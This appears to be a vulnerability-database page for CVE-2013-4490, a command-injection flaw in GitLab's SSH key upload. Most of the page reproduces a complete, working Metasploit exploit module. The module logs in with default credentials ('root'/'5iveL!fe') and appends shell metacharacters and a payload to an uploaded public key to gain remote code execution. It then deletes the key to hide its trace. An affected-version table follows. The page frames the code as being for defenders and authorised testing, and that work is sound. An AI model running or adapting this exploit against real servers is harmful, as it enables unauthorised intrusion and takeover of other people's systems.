CVE-2013-4490
Description
The SSH key upload feature (lib/gitlab_keys.rb) in gitlab-shell before 1.7.3, as used in GitLab 5.0 before 5.4.1 and 6.x before 6.2.3, allows remote authenticated users to execute arbitrary commands via shell metacharacters in the public key.
Predictions
Heuristic predictions, AS-IS, for prioritization only.
Mitigations
No mitigations published for this CVE yet.
The vendor-content worker queues fetches as references arrive (check back in a few minutes). Or โ if you've already worked around this in production โ publish your fix to the community-verified tier.
โ Propose a mitigation on Community โ Mitigations published via the community go through AI scoring + 2 human reviewers + 7-day silent objection window before landing here withsource_tier=community-verified.
Exploits
Public proof-of-concept code below. AS-IS, for defenders and authorised testing only.
Exploit-DB
Gitlab-shell - Code Execution (Metasploit)
##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
require 'net/ssh'
class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::CmdStager
def initialize(info = {})
super(update_info(info,
'Name' => 'Gitlab-shell Code Execution',
'Description' => %q(
This module takes advantage of the addition of authorized
ssh keys in the gitlab-shell functionality of Gitlab. Versions
of gitlab-shell prior to 1.7.4 used the ssh key provided directly
in a system call resulting in a command injection vulnerability. As
this relies on adding an ssh key to an account valid credentials
are required to exploit this vulnerability.
),
'Author' =>
[
'Brandon Knight'
],
'License' => MSF_LICENSE,
'References' =>
[
['URL', 'https://about.gitlab.com/2013/11/04/gitlab-ce-6-2-and-5-4-security-release/'],
['CVE', '2013-4490']
],
'Platform' => 'linux',
'Targets' =>
[
[ 'Linux',
{
'Platform' => 'linux',
'Arch' => ARCH_X86
}
],
[ 'Linux (x64)',
{
'Platform' => 'linux',
'Arch' => ARCH_X86_64
}
],
[ 'Unix (CMD)',
{
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Payload' =>
{
'Compat' =>
{
'RequiredCmd' => 'openssl perl python'
},
'BadChars' => "\x22"
}
}
],
[ 'Python',
{
'Platform' => 'python',
'Arch' => ARCH_PYTHON,
'Payload' =>
{
'BadChars' => "\x22"
}
}
]
],
'CmdStagerFlavor' => %w( bourne printf ),
'DisclosureDate' => 'Nov 4 2013',
'DefaultTarget' => 0))
register_options(
[
OptString.new('USERNAME', [true, 'The username to authenticate as', 'root']),
OptString.new('PASSWORD', [true, 'The password for the specified username', '5iveL!fe']),
OptString.new('TARGETURI', [true, 'The path to Gitlab', '/'])
], self.class)
end
def exploit
login
case target['Platform']
when 'unix'
execute_command(payload.encoded)
when 'python'
execute_command("python -c \\\"#{payload.encoded}\\\"")
when 'linux'
execute_cmdstager(temp: './', linemax: 2800)
end
end
def execute_command(cmd, _opts = {})
key_id = add_key(cmd)
delete_key(key_id)
end
def check
res = send_request_cgi('uri' => normalize_uri(target_uri.path.to_s, 'users', 'sign_in'))
if res && res.body && res.body.include?('GitLab')
return Exploit::CheckCode::Detected
else
return Exploit::CheckCode::Unknown
end
end
def login
username = datastore['USERNAME']
password = datastore['PASSWORD']
signin_page = normalize_uri(target_uri.path.to_s, 'users', 'sign_in')
# Get a valid session cookie and authenticity_token for the next step
res = send_request_cgi(
'method' => 'GET',
'cookie' => 'request_method=GET',
'uri' => signin_page
)
fail_with(Failure::TimeoutExpired, "#{peer} - Connection timed out during login") unless res
local_session_cookie = res.get_cookies.scan(/(_gitlab_session=[A-Za-z0-9%-]+)/).flatten[0]
auth_token = res.body.scan(/<input name="authenticity_token" type="hidden" value="(.*?)"/).flatten[0]
if res.body.include? 'user[email]'
@gitlab_version = 5
user_field = 'user[email]'
else
@gitlab_version = 7
user_field = 'user[login]'
end
# Perform the actual login and get the newly assigned session cookie
res = send_request_cgi(
'method' => 'POST',
'cookie' => local_session_cookie,
'uri' => signin_page,
'vars_post' =>
{
'utf8' => "\xE2\x9C\x93",
'authenticity_token' => auth_token,
"#{user_field}" => username,
'user[password]' => password,
'user[remember_me]' => 0
}
)
fail_with(Failure::NoAccess, "#{peer} - Login failed") unless res && res.code == 302
@session_cookie = res.get_cookies.scan(/(_gitlab_session=[A-Za-z0-9%-]+)/).flatten[0]
fail_with(Failure::NoAccess, "#{peer} - Unable to get session cookie") if @session_cookie.nil?
end
def add_key(cmd)
if @gitlab_version == 5
@key_base = normalize_uri(target_uri.path.to_s, 'keys')
else
@key_base = normalize_uri(target_uri.path.to_s, 'profile', 'keys')
end
# Perform an initial request to get an authenticity_token so the actual
# key addition can be done successfully.
res = send_request_cgi(
'method' => 'GET',
'cookie' => "request_method=GET; #{@session_cookie}",
'uri' => normalize_uri(@key_base, 'new')
)
fail_with(Failure::TimeoutExpired, "#{peer} - Connection timed out during request") unless res
auth_token = res.body.scan(/<input name="authenticity_token" type="hidden" value="(.*?)"/).flatten[0]
title = rand_text_alphanumeric(16)
key_info = rand_text_alphanumeric(6)
# Generate a random ssh key
key = OpenSSL::PKey::RSA.new 2048
type = key.ssh_type
data = [key.to_blob].pack('m0')
openssh_format = "#{type} #{data}"
# Place the payload in to the key information to perform the command injection
key = "#{openssh_format} #{key_info}';#{cmd}; echo '"
res = send_request_cgi(
'method' => 'POST',
'cookie' => "request_method=GET; #{@session_cookie}",
'uri' => @key_base,
'vars_post' =>
{
'utf8' => "\xE2\x9C\x93",
'authenticity_token' => auth_token,
'key[title]' => title,
'key[key]' => key
}
)
fail_with(Failure::TimeoutExpired, "#{peer} - Connection timed out during request") unless res
# Get the newly added key id so it can be used for cleanup
key_id = res.headers['Location'].split('/')[-1]
key_id
end
def delete_key(key_id)
res = send_request_cgi(
'method' => 'GET',
'cookie' => "request_method=GET; #{@session_cookie}",
'uri' => @key_base
)
fail_with(Failure::TimeoutExpired, "#{peer} - Connection timed out during request") unless res
auth_token = res.body.scan(/<meta content="(.*?)" name="csrf-token"/).flatten[0]
# Remove the key which was added to clean up after ourselves
res = send_request_cgi(
'method' => 'POST',
'cookie' => "#{@session_cookie}",
'uri' => normalize_uri("#{@key_base}", "#{key_id}"),
'vars_post' =>
{
'_method' => 'delete',
'authenticity_token' => auth_token
}
)
fail_with(Failure::TimeoutExpired, "#{peer} - Connection timed out during request") unless res
end
end
Metasploit modules
Application impact
| Vendor | Product | Versions | Fixed |
|---|---|---|---|
| gitlab | gitlab | 5.0.0 | |
| gitlab | gitlab | 5.0.1 | |
| gitlab | gitlab | 5.1.0 | |
| gitlab | gitlab | 5.2.0 | |
| gitlab | gitlab | 5.3.0 | |
| gitlab | gitlab | 5.4.0 | |
| gitlab | gitlab | 6.0.0 | |
| gitlab | gitlab | 6.1.0 | |
| gitlab | gitlab | 6.2.0 | |
| gitlab | gitlab | 6.2.1 | |
| gitlab | gitlab | 6.2.2 | |
| gitlab | gitlab-shell | {"endIncluding":"1.7.2"} | |
| gitlab | gitlab-shell | 1.0.4 | |
| gitlab | gitlab-shell | 1.1.0 | |
| gitlab | gitlab-shell | 1.2.0 | |
| gitlab | gitlab-shell | 1.3.0 | |
| gitlab | gitlab-shell | 1.4.0 | |
| gitlab | gitlab-shell | 1.5.0 | |
| gitlab | gitlab-shell | 1.6.0 | |
| gitlab | gitlab-shell | 1.7.0 | |
| gitlab | gitlab-shell | 1.7.1 | |
References
Community-verified mitigations for this CVE will appear above when contributors publish them.
Verify integrity in audit chain (admin only). AS-IS.